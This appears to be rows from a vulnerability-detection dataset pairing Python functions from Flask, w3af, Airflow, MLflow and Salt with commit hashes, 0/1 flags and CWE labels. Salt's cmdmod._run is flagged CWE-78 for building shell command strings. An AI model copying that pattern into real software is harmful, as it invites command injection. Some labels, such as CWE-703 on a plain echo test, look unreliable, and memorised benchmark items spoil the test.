functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/blueprints.py,0,"def register_blueprint(self, blueprint: ""Blueprint"", **options: t.Any) -> None:
        """"""Register a :class:`~flask.Blueprint` on this blueprint. Keyword
        arguments passed to this method will override the defaults set
        on the blueprint.

        .. versionchanged:: 2.0.1
            The ``name`` option can be used to change the (pre-dotted)
            name the blueprint is registered with. This allows the same
            blueprint to be registered multiple times with unique names
            for ``url_for``.

        .. versionadded:: 2.0
        """"""
        if blueprint is self:
            raise ValueError(""Cannot register a blueprint on itself"")
        self._blueprints.append((blueprint, options))",,pallets/flask,714b0a467acab54091d8aeb73403d808abfbcf5b,"def register_blueprint(self, blueprint: ""Blueprint"", **options: t.Any) -> None:
        """"""Register a :class:`~flask.Blueprint` on this blueprint. Keyword
        arguments passed to this method will override the defaults set
        on the blueprint.

        .. versionchanged:: 2.0.1
            The ``name`` option can be used to change the (pre-dotted)
            name the blueprint is registered with. This allows the same
            blueprint to be registered multiple times with unique names
            for ``url_for``.

        .. versionadded:: 2.0
        """"""
        self._blueprints.append((blueprint, options))"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/controllers/core_helpers/strategy_observers/thread_state_observer.py,0,"def add_thread_stack(self, inspect_data):
        """"""
        When threads have been running for a long time, it is not enough to
        log the initial function that the worker was told to run, we want to
        know exactly what function the thread is running *now*, including the
        whole traceback.
        """"""
        #
        #   Define which workers we want to inspect
        #
        workers_to_inspect = []

        for worker_state in inspect_data:
            if worker_state['idle'] or worker_state['start_time'] is None:
                continue

            spent = time.time() - worker_state['start_time']
            if spent < self.STACK_TRACE_MIN_TIME:
                continue

            workers_to_inspect.append(worker_state['worker_id'])

        #
        #   If there is nothing to do, just return to reduce the performance
        #   impact of this function
        #
        if not workers_to_inspect:
            return inspect_data

        #
        #   Find the workers in the thread list
        #
        for thread_id, frame in sys._current_frames().items():
            thread = self.get_thread_from_thread_id(thread_id)

            if thread is None:
                continue

            get_state = getattr(thread, 'get_state', None)
            if get_state is None:
                continue

            if not callable(get_state):
                continue

            state = get_state()
            worker_id = state['worker_id']

            if worker_id not in workers_to_inspect:
                continue

            trace = []
            for filename, lineno, name, line in traceback.extract_stack(frame):
                trace.append('%s:%s @ %s()' % (filename, lineno, name))

            trace = trace[-10:]
            trace = ', '.join(trace)

            # Now save the trace to the inspect_data
            for worker_state in inspect_data:
                if worker_state['worker_id'] == worker_id:
                    worker_state['trace'] = trace

        return inspect_data",,andresriancho/w3af,87902435d23084d2f884d53db73bc4bd1f345dfd,"def add_thread_stack(self, inspect_data):
        """"""
        When threads have been running for a long time, it is not enough to
        log the initial function that the worker was told to run, we want to
        know exactly what function the thread is running *now*, including the
        whole traceback.
        """"""
        #
        #   Define which workers we want to inspect
        #
        workers_to_inspect = []

        for worker_state in inspect_data:
            if worker_state['idle'] or worker_state['start_time'] is None:
                continue

            spent = time.time() - worker_state['start_time']
            if spent < self.STACK_TRACE_MIN_TIME:
                continue

            workers_to_inspect.append(worker_state['worker_id'])

        #
        #   If there is nothing to do, just return to reduce the performance
        #   impact of this function
        #
        if not workers_to_inspect:
            return inspect_data

        #
        #   Find the workers in the thread list
        #
        for thread_id, frame in sys._current_frames().items():
            thread = self.get_thread_from_thread_id(thread_id)

            if thread is None:
                continue

            if not hasattr(thread, 'get_state'):
                continue

            state = thread.get_state()
            worker_id = state['worker_id']

            if worker_id not in workers_to_inspect:
                continue

            trace = []
            for filename, lineno, name, line in traceback.extract_stack(frame):
                trace.append('%s:%s @ %s()' % (filename, lineno, name))

            trace = trace[-10:]
            trace = ', '.join(trace)

            # Now save the trace to the inspect_data
            for worker_state in inspect_data:
                if worker_state['worker_id'] == worker_id:
                    worker_state['trace'] = trace

        return inspect_data"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow-ctl/tests/airflow_ctl/ctl/test_cli_config.py,0,"def test_args_get():
    return [
        (
            ""--backfill-id"",
            {
                ""help"": ""backfill_id for get operation in BackfillsOperations"",
                ""default"": None,
                ""type"": str,
                ""dest"": None,
            },
        ),
        (
            ""--output"",
            {
                ""help"": ""Output format. Allowed values: json, yaml, plain, table (default: json)"",
                ""default"": ""json"",
                ""type"": str,
                ""dest"": None,
            },
        ),
    ]",CWE-Unknown,apache/airflow,2e4ca56c1e3bb947d82ac0e2a7dab5b331b9aacf,"def test_args_get():
    return [
        (
            ""--backfill-id"",
            {
                ""help"": ""backfill_id for get operation in BackfillsOperations"",
                ""default"": None,
                ""type"": str,
                ""dest"": None,
            },
        ),
        (
            ""--output"",
            {
                ""help"": ""Output format. Allowed values: json, yaml, plain, table (default: json)"",
                ""default"": ""json"",
                ""type"": str,
                ""dest"": None,
            },
        ),
    ]"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,dev/clint/src/clint/linter.py,0,"def _lint_cell(path: Path, config: Config, cell: dict[str, Any], index: int) -> list[Violation]:
    violations: list[Violation] = []
    type_ = cell.get(""cell_type"")

    # Check for forbidden trace UI iframe in cell outputs
    if outputs := cell.get(""outputs""):
        for output in outputs:
            if _has_trace_ui_content(output):
                violations.append(
                    Violation(
                        rules.ForbiddenTraceUIInNotebook(),
                        path,
                        Location(0, 0),
                        cell=index,
                    )
                )
                break

    if type_ != ""code"":
        return violations

    src = ""\n"".join(cell.get(""source"", []))
    try:
        tree = ast.parse(src)
    except SyntaxError:
        # Ignore non-python cells such as `!pip install ...`
        return violations

    linter = Linter(path=path, config=config, ignore=ignore_map(src), cell=index)
    linter.visit(tree)
    violations.extend(linter.violations)

    if not src.strip():
        violations.append(
            Violation(
                rules.EmptyNotebookCell(),
                path,
                Location(0, 0),
                cell=index,
            )
        )
    return violations",,mlflow/mlflow,acdd67a55ebbd4b5359e02ec8b1a616708759a9b,"def _lint_cell(path: Path, config: Config, cell: dict[str, Any], index: int) -> list[Violation]:
    violations: list[Violation] = []
    type_ = cell.get(""cell_type"")

    # Check for forbidden trace UI iframe in cell outputs
    if outputs := cell.get(""outputs""):
        for output in outputs:
            if _has_trace_ui_content(output):
                violations.append(
                    Violation(
                        rules.ForbiddenTraceUIInNotebook(),
                        path,
                        Location(0, 0),
                        cell=index,
                    )
                )
                break

    if type_ != ""code"":
        return violations

    src = ""\n"".join(cell.get(""source"", []))
    try:
        tree = ast.parse(src)
    except SyntaxError:
        # Ignore non-python cells such as `!pip install ...`
        return violations

    linter = Linter(path=path, config=config, ignore=ignore_map(src), cell=index)
    linter.visit(tree)
    violations.extend(linter.violations)

    if not src.strip():
        violations.append(
            Violation(
                rules.EmptyNotebookCell(),
                path,
                Location(0, 0),
                cell=index,
            )
        )
    return violations"
,UNKNOWN,UNKNOWN,salt/modules/cmdmod.py,1,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='info',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=(),
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base'):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -executionpolicy bypass -File ' + cmd
        else:
            cmd = 'Powershell ""{0}""'.format(cmd.replace('""', '\\""'))

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    if not env:
        env = {}
    elif isinstance(env, basestring):
        try:
            env = yaml.safe_load(env)
        except yaml.parser.ParserError as err:
            log.error(err)
            env = {}
    if not isinstance(env, dict):
        log.error('Invalid input: {0}, must be a dict or '
                  'string - yaml represented dict'.format(env))
        env = {}

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo -i -u {1} -- ""{2}""'
                           ).format(shell, runas, sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su - {1} -c ""{0} -c \'{2}\'""'
                           ).format(shell, runas, sys.executable)
            else:
                env_cmd = ('su -s {0} - {1} -c ""{2}""'
                           ).format(shell, runas, sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                shell=python_shell,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask:
        try:
            _umask = int(str(umask).lstrip('0'), 8)
            if not _umask:
                raise ValueError('Zero umask not allowed.')
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
                _chugid_and_umask,
                runas,
                _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    # This is where the magic happens
    try:
        proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
    except (OSError, IOError) as exc:
        raise CommandExecutionError(
            'Unable to run command {0!r} with the context {1!r}, reason: {2}'
            .format(cmd, kwargs, exc)
        )

    try:
        proc.wait(timeout)
    except TimedProcTimeoutError as exc:
        ret['stdout'] = str(exc)
        ret['stderr'] = ''
        ret['retcode'] = None
        ret['pid'] = proc.process.pid
        # ok return code for timeouts?
        ret['retcode'] = 1
        return ret

    out, err = proc.stdout, proc.stderr

    if rstrip:
        if out is not None:
            out = out.rstrip()
        if err is not None:
            err = err.rstrip()

    ret['stdout'] = out
    ret['stderr'] = err
    ret['pid'] = proc.process.pid
    ret['retcode'] = proc.process.returncode
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret",CWE-78,saltstack/salt,51692508b0ad1c949356ae346771871772593e13,"def _run(cmd,
         cwd=None,
         stdin=None,
         stdout=subprocess.PIPE,
         stderr=subprocess.PIPE,
         output_loglevel='info',
         quiet=False,
         runas=None,
         shell=DEFAULT_SHELL,
         python_shell=True,
         env=(),
         clean_env=False,
         rstrip=True,
         template=None,
         umask=None,
         timeout=None,
         with_communicate=True,
         reset_system_locale=True,
         saltenv='base'):
    '''
    Do the DRY thing and only call subprocess.Popen() once
    '''
    if salt.utils.is_true(quiet):
        salt.utils.warn_until(
            'Lithium',
            'The \'quiet\' option is deprecated and will be removed in the '
            '\'Lithium\' Salt release. Please use output_loglevel=quiet '
            'instead.'
        )

    # Set the default working directory to the home directory of the user
    # salt-minion is running as. Defaults to home directory of user under which
    # the minion is running.
    if not cwd:
        cwd = os.path.expanduser('~{0}'.format('' if not runas else runas))

        # make sure we can access the cwd
        # when run from sudo or another environment where the euid is
        # changed ~ will expand to the home of the original uid and
        # the euid might not have access to it. See issue #1844
        if not os.access(cwd, os.R_OK):
            cwd = '/'
            if salt.utils.is_windows():
                cwd = os.tempnam()[:3]
    else:
        # Handle edge cases where numeric/other input is entered, and would be
        # yaml-ified into non-string types
        cwd = str(cwd)

    if not salt.utils.is_windows():
        if not os.path.isfile(shell) or not os.access(shell, os.X_OK):
            msg = 'The shell {0} is not available'.format(shell)
            raise CommandExecutionError(msg)

    if shell.lower().strip() == 'powershell':
        # If we were called by script(), then fakeout the Windows
        # shell to run a Powershell script.
        # Else just run a Powershell command.
        stack = traceback.extract_stack(limit=2)

        # extract_stack() returns a list of tuples.
        # The last item in the list [-1] is the current method.
        # The third item[2] in each tuple is the name of that method.
        if stack[-2][2] == 'script':
            cmd = 'Powershell -executionpolicy bypass -File ' + cmd
        else:
            cmd = 'Powershell ""{0}""'.format(cmd.replace('""', '\\""'))

    # munge the cmd and cwd through the template
    (cmd, cwd) = _render_cmd(cmd, cwd, template, saltenv)

    ret = {}

    if not env:
        env = {}
    elif isinstance(env, basestring):
        try:
            env = yaml.safe_load(env)
        except yaml.parser.ParserError as err:
            log.error(err)
            env = {}
    if not isinstance(env, dict):
        log.error('Invalid input: {0}, must be a dict or '
                  'string - yaml represented dict'.format(env))
        env = {}

    if runas and salt.utils.is_windows():
        # TODO: Figure out the proper way to do this in windows
        msg = 'Sorry, {0} does not support runas functionality'
        raise CommandExecutionError(msg.format(__grains__['os']))

    if runas:
        # Save the original command before munging it
        try:
            pwd.getpwnam(runas)
        except KeyError:
            raise CommandExecutionError(
                'User {0!r} is not available'.format(runas)
            )
        try:
            # Getting the environment for the runas user
            # There must be a better way to do this.
            py_code = 'import os, json;' \
                      'print(json.dumps(os.environ.__dict__))'
            if __grains__['os'] in ['MacOS', 'Darwin']:
                env_cmd = ('sudo -i -u {1} -- ""{2}""'
                           ).format(shell, runas, sys.executable)
            elif __grains__['os'] in ['FreeBSD']:
                env_cmd = ('su - {1} -c ""{0} -c \'{2}\'""'
                           ).format(shell, runas, sys.executable)
            else:
                env_cmd = ('su -s {0} - {1} -c ""{2}""'
                           ).format(shell, runas, sys.executable)
            env_json = subprocess.Popen(
                env_cmd,
                shell=python_shell,
                stdin=subprocess.PIPE,
                stdout=subprocess.PIPE
            ).communicate(py_code)[0]
            env_json = (filter(lambda x: x.startswith('{') and x.endswith('}'),
                               env_json.splitlines()) or ['{}']).pop()
            env_runas = json.loads(env_json).get('data', {})
            env_runas.update(env)
            env = env_runas
        except ValueError:
            raise CommandExecutionError(
                'Environment could not be retrieved for User {0!r}'.format(
                    runas
                )
            )

    if _check_loglevel(output_loglevel, quiet) is not None:
        # Always log the shell commands at INFO unless quiet logging is
        # requested. The command output is what will be controlled by the
        # 'loglevel' parameter.
        log.info(
            'Executing command {0!r} {1}in directory {2!r}'.format(
                cmd, 'as user {0!r} '.format(runas) if runas else '', cwd
            )
        )

    if reset_system_locale is True:
        if not salt.utils.is_windows():
            # Default to C!
            # Salt only knows how to parse English words
            # Don't override if the user has passed LC_ALL
            env.setdefault('LC_ALL', 'C')
        else:
            # On Windows set the codepage to US English.
            cmd = 'chcp 437 > nul & ' + cmd

    if clean_env:
        run_env = env

    else:
        run_env = os.environ.copy()
        run_env.update(env)

    kwargs = {'cwd': cwd,
              'shell': python_shell,
              'env': run_env,
              'stdin': str(stdin) if stdin is not None else stdin,
              'stdout': stdout,
              'stderr': stderr,
              'with_communicate': with_communicate}

    if umask:
        try:
            _umask = int(str(umask).lstrip('0'), 8)
            if not _umask:
                raise ValueError('Zero umask not allowed.')
        except ValueError:
            msg = 'Invalid umask: \'{0}\''.format(umask)
            raise CommandExecutionError(msg)
    else:
        _umask = None

    if runas or umask:
        kwargs['preexec_fn'] = functools.partial(
                _chugid_and_umask,
                runas,
                _umask)

    if not salt.utils.is_windows():
        # close_fds is not supported on Windows platforms if you redirect
        # stdin/stdout/stderr
        if kwargs['shell'] is True:
            kwargs['executable'] = shell
        kwargs['close_fds'] = True

    if not os.path.isabs(cwd) or not os.path.isdir(cwd):
        raise CommandExecutionError(
            'Specified cwd {0!r} either not absolute or does not exist'
            .format(cwd)
        )

    # This is where the magic happens
    try:
        proc = salt.utils.timed_subprocess.TimedProc(cmd, **kwargs)
    except (OSError, IOError) as exc:
        raise CommandExecutionError(
            'Unable to run command {0!r} with the context {1!r}, reason: {2}'
            .format(cmd, kwargs, exc)
        )

    try:
        proc.wait(timeout)
    except TimedProcTimeoutError as exc:
        ret['stdout'] = str(exc)
        ret['stderr'] = ''
        ret['pid'] = proc.process.pid
        # ok return code for timeouts?
        ret['retcode'] = 1
        return ret

    out, err = proc.stdout, proc.stderr

    if rstrip:
        if out is not None:
            out = out.rstrip()
        if err is not None:
            err = err.rstrip()

    ret['stdout'] = out
    ret['stderr'] = err
    ret['pid'] = proc.process.pid
    ret['retcode'] = proc.process.returncode
    try:
        __context__['retcode'] = ret['retcode']
    except NameError:
        # Ignore the context error during grain generation
        pass
    return ret"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/config/__init__.py,0,"def is_profile_configured(opts, provider, profile_name):
    '''
    Check if the requested profile contains the minimum required parameters for
    a profile.

    Required parameters include image and provider for all drivers, while some
    drivers also require size keys.

    .. versionadded:: 2015.8.0
    '''
    # Standard dict keys required by all drivers.
    required_keys = ['provider']
    alias, driver = provider.split(':')

    # Most drivers need an image to be specified, but some do not.
    non_image_drivers = ['vmware']

    # Most drivers need a size, but some do not.
    non_size_drivers = ['opennebula', 'parallels', 'scaleway', 'softlayer',
                        'softlayer_hw', 'vmware', 'vsphere']

    if driver not in non_image_drivers:
        required_keys.append('image')
    elif driver == 'vmware':
        required_keys.append('clonefrom')

    if driver not in non_size_drivers:
        required_keys.append('size')

    provider_key = opts['providers'][alias][driver]
    profile_key = opts['providers'][alias][driver]['profiles'][profile_name]

    # Check if image and/or size are supplied in the provider config. If either
    # one is present, remove it from the required_keys list.
    for item in required_keys:
        if item in provider_key:
            required_keys.remove(item)

    # Check for remaining required parameters in the profile config.
    for item in required_keys:
        if profile_key.get(item, None) is None:
            # There's at least one required configuration item which is not set.
            log.error(
                'The required {0!r} configuration setting is missing from the '
                '{1!r} profile, which is configured '
                'under the {2!r} alias.'.format(
                    item, profile_name, alias
                )
            )
            return False

    return True",,saltstack/salt,d0ef023d72edc82927acf6543628c972a7d54151,"def is_profile_configured(opts, provider, profile_name):
    '''
    Check if the requested profile contains the minimum required parameters for
    a profile.

    Required parameters include image and provider for all drivers, while some
    drivers also require size keys.

    .. versionadded:: 2015.8.0
    '''
    # Standard dict keys required by all drivers.
    required_keys = ['image', 'provider']
    alias, driver = provider.split(':')

    # Most drivers need a size, but some do not.
    non_size_drivers = ['opennebula', 'parallels', 'scaleway', 'softlayer',
                        'softlayer_hw', 'vmware', 'vsphere']

    if driver not in non_size_drivers:
        required_keys.append('size')

    provider_key = opts['providers'][alias][driver]
    profile_key = opts['providers'][alias][driver]['profiles'][profile_name]

    # Check if image and/or size are supplied in the provider config. If either
    # one is present, remove it from the required_keys list.
    for item in required_keys:
        if item in provider_key:
            required_keys.remove(item)

    # Check for remaining required parameters in the profile config.
    for item in required_keys:
        if profile_key.get(item, None) is None:
            # There's at least one required configuration item which is not set.
            log.error(
                'The required {0!r} configuration setting is missing from the '
                '{1!r} profile, which is configured '
                'under the {2!r} alias.'.format(
                    item, profile_name, alias
                )
            )
            return False

    return True"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/states/netntp.py,0,"def managed(name, peers=None, servers=None):

    """"""
    Manages the configuration of NTP peers and servers on the device, as specified in the state SLS file.
    NTP entities not specified in these lists will be removed whilst entities not configured on the device will be set.

    SLS Example:

    .. code-block:: yaml

        netntp_example:
            netntp.managed:
                 - peers:
                    - 192.168.0.1
                    - 172.17.17.1
                 - servers:
                    - 24.124.0.251
                    - 138.236.128.36

    Output example:

    .. code-block:: python

        {
            'edge01.nrt04': {
                'netntp_|-netntp_example_|-netntp_example_|-managed': {
                    'comment': 'NTP servers already configured as needed.',
                    'name': 'netntp_example',
                    'start_time': '12:45:24.056659',
                    'duration': 2938.857,
                    'changes': {
                        'peers': {
                            'removed': [
                                '192.168.0.2',
                                '192.168.0.3'
                            ],
                            'added': [
                                '192.168.0.1',
                                '172.17.17.1'
                            ]
                        }
                    },
                    'result': None
                }
            }
        }
    """"""

    ret = _default_ret(name)
    result = ret.get(""result"", False)
    comment = ret.get(""comment"", """")
    changes = ret.get(""changes"", {})

    if not (
        isinstance(peers, list) or isinstance(servers, list)
    ):  # none of the is a list
        return ret  # just exit

    if isinstance(peers, list) and not _check(peers):  # check and clean peers
        ret[
            ""comment""
        ] = ""NTP peers must be a list of valid IP Addresses or Domain Names""
        return ret

    if isinstance(servers, list) and not _check(servers):  # check and clean servers
        ret[
            ""comment""
        ] = ""NTP servers must be a list of valid IP Addresses or Domain Names""
        return ret

    # ----- Retrieve existing NTP peers and determine peers to be added/removed --------------------------------------->

    successfully_changed = True
    expected_config_change = False

    if isinstance(peers, list):
        _peers_ret = _check_diff_and_configure(name, peers, name=""peers"")
        expected_config_change = _peers_ret.get(""expected_config_change"", False)
        successfully_changed = _peers_ret.get(""successfully_changed"", True)
        result = result and _peers_ret.get(""result"", False)
        comment += ""\n"" + _peers_ret.get(""comment"", """")
        _changed_peers = _peers_ret.get(""changes"", {})
        if _changed_peers:
            changes[""peers""] = _changed_peers
    if isinstance(servers, list):
        _servers_ret = _check_diff_and_configure(name, servers, name=""servers"")
        expected_config_change = expected_config_change or _servers_ret.get(
            ""expected_config_change"", False
        )
        successfully_changed = successfully_changed and _servers_ret.get(
            ""successfully_changed"", True
        )
        result = result and _servers_ret.get(""result"", False)
        comment += ""\n"" + _servers_ret.get(""comment"", """")
        _changed_servers = _servers_ret.get(""changes"", {})
        if _changed_servers:
            changes[""servers""] = _changed_servers

    ret.update({""changes"": changes})

    if not (changes or expected_config_change):
        ret.update({""result"": True, ""comment"": ""Device configured properly.""})
        return ret

    if __opts__[""test""] is True:
        ret.update(
            {
                ""result"": None,
                ""comment"": (
                    ""This is in testing mode, the device configuration was not changed!""
                ),
            }
        )
        return ret

    # <---- Call _set_ntp_peers and _delete_ntp_peers as needed --------------------------------------------------------

    # ----- Try to commit changes ------------------------------------------------------------------------------------->

    if expected_config_change:  # commit only in case there's something to update
        config_result, config_comment = __salt__[""net.config_control""]()
        result = config_result and successfully_changed
        comment += config_comment

    # <---- Try to commit changes --------------------------------------------------------------------------------------

    ret.update({""result"": result, ""comment"": comment})

    return ret",,saltstack/salt,76e50885b07621e9e4c16bc3f1ebc16c93983b90,"def managed(name, peers=None, servers=None):

    """"""
    Manages the configuration of NTP peers and servers on the device, as specified in the state SLS file.
    NTP entities not specified in these lists will be removed whilst entities not configured on the device will be set.

    SLS Example:

    .. code-block:: yaml

        netntp_example:
            netntp.managed:
                 - peers:
                    - 192.168.0.1
                    - 172.17.17.1
                 - servers:
                    - 24.124.0.251
                    - 138.236.128.36

    Output example:

    .. code-block:: python

        {
            'edge01.nrt04': {
                'netntp_|-netntp_example_|-netntp_example_|-managed': {
                    'comment': 'NTP servers already configured as needed.',
                    'name': 'netntp_example',
                    'start_time': '12:45:24.056659',
                    'duration': 2938.857,
                    'changes': {
                        'peers': {
                            'removed': [
                                '192.168.0.2',
                                '192.168.0.3'
                            ],
                            'added': [
                                '192.168.0.1',
                                '172.17.17.1'
                            ]
                        }
                    },
                    'result': None
                }
            }
        }
    """"""

    ret = _default_ret(name)
    result = ret.get(""result"", False)
    comment = ret.get(""comment"", """")
    changes = ret.get(""changes"", {})

    if not (
        isinstance(peers, list) or isinstance(servers, list)
    ):  # none of the is a list
        return ret  # just exit

    if isinstance(peers, list) and not _check(peers):  # check and clean peers
        ret[
            ""comment""
        ] = ""NTP peers must be a list of valid IP Addresses or Domain Names""
        return ret

    if isinstance(servers, list) and not _check(servers):  # check and clean servers
        ret[
            ""comment""
        ] = ""NTP servers must be a list of valid IP Addresses or Domain Names""
        return ret

    # ----- Retrieve existing NTP peers and determine peers to be added/removed --------------------------------------->

    successfully_changed = True
    expected_config_change = False

    if isinstance(peers, list):
        _peers_ret = _check_diff_and_configure(name, peers, name=""peers"")
        expected_config_change = _peers_ret.get(""expected_config_change"", False)
        successfully_changed = _peers_ret.get(""successfully_changed"", True)
        result = result and _peers_ret.get(""result"", False)
        comment += ""\n"" + _peers_ret.get(""comment"", """")
        _changed_peers = _peers_ret.get(""changes"", {})
        if _changed_peers:
            changes[""peers""] = _changed_peers
    if isinstance(servers, list):
        _servers_ret = _check_diff_and_configure(name, servers, name=""servers"")
        expected_config_change = expected_config_change or _servers_ret.get(
            ""expected_config_change"", False
        )
        successfully_changed = successfully_changed and _servers_ret.get(
            ""successfully_changed"", True
        )
        result = result and _servers_ret.get(""result"", False)
        comment += ""\n"" + _servers_ret.get(""comment"", """")
        _changed_servers = _servers_ret.get(""changes"", {})
        if _changed_servers:
            changes[""servers""] = _changed_servers

    ret.update({""changes"": changes})

    if not (changes or expected_config_change):
        ret.update({""result"": True, ""comment"": ""Device configured properly.""})
        return ret

    if __opts__[""test""] is True:
        ret.update(
            {
                ""result"": None,
                ""comment"": ""This is in testing mode, the device configuration was not changed!"",
            }
        )
        return ret

    # <---- Call _set_ntp_peers and _delete_ntp_peers as needed --------------------------------------------------------

    # ----- Try to commit changes ------------------------------------------------------------------------------------->

    if expected_config_change:  # commit only in case there's something to update
        config_result, config_comment = __salt__[""net.config_control""]()
        result = config_result and successfully_changed
        comment += config_comment

    # <---- Try to commit changes --------------------------------------------------------------------------------------

    ret.update({""result"": result, ""comment"": comment})

    return ret"
,UNKNOWN,UNKNOWN,tests/pytests/functional/modules/state/requisites/test_require.py,1,"def test_requisites_full_sls_require(state, state_tree):
    """"""
    Test the sls special command in requisites
    """"""
    full_sls_contents = """"""
    B:
      cmd.run:
        - name: echo B
    C:
      cmd.run:
        - name: echo C
    """"""
    sls_contents = """"""
    include:
      - fullsls
    A:
      cmd.run:
        - name: echo A
        - require:
          - sls: fullsls
    """"""
    expected_result = {
        ""cmd_|-A_|-echo A_|-run"": {
            ""__run_num__"": 2,
            ""comment"": 'Command ""echo A"" run',
            ""result"": True,
            ""changes"": True,
        },
        ""cmd_|-B_|-echo B_|-run"": {
            ""__run_num__"": 0,
            ""comment"": 'Command ""echo B"" run',
            ""result"": True,
            ""changes"": True,
        },
        ""cmd_|-C_|-echo C_|-run"": {
            ""__run_num__"": 1,
            ""comment"": 'Command ""echo C"" run',
            ""result"": True,
            ""changes"": True,
        },
    }
    with pytest.helpers.temp_file(
        ""requisite.sls"", sls_contents, state_tree
    ), pytest.helpers.temp_file(""fullsls.sls"", full_sls_contents, state_tree):
        ret = state.sls(""requisite"")
        result = normalize_ret(ret.raw)
        assert result == expected_result",CWE-703,saltstack/salt,0ff05246ffb1a910dcda0be6c45c068e92b06ec9,"def test_requisites_full_sls_require(state, state_tree):
    """"""
    Test the sls special command in requisites
    """"""
    full_sls_contents = """"""
    B:
      cmd.run:
        - name: echo B
    C:
      cmd.run:
        - name: echo C
    """"""
    sls_contents = """"""
    include:
      - fullsls
    A:
      cmd.run:
        - name: echo A
        - require:
          - sls: fullsls
    """"""
    expected_result = {
        ""cmd_|-A_|-echo A_|-run"": {
            ""__run_num__"": 2,
            ""comment"": 'Command ""echo A"" run',
            ""result"": True,
            ""changes"": True,
        },
        ""cmd_|-B_|-echo B_|-run"": {
            ""__run_num__"": 0,
            ""comment"": 'Command ""echo B"" run',
            ""result"": True,
            ""changes"": True,
        },
        ""cmd_|-C_|-echo C_|-run"": {
            ""__run_num__"": 1,
            ""comment"": 'Command ""echo C"" run',
            ""result"": True,
            ""changes"": True,
        },
    }
    with pytest.helpers.temp_file(
        ""requisite.sls"", sls_contents, state_tree
    ), pytest.helpers.temp_file(""fullsls.sls"", full_sls_contents, state_tree):
        ret = state.sls(""requisite"")
        result = normalize_ret(ret)
        ret = pytest.helpers.state_return(ret)
        ret.assert_return_non_empty_state_type()
        assert result == expected_result"
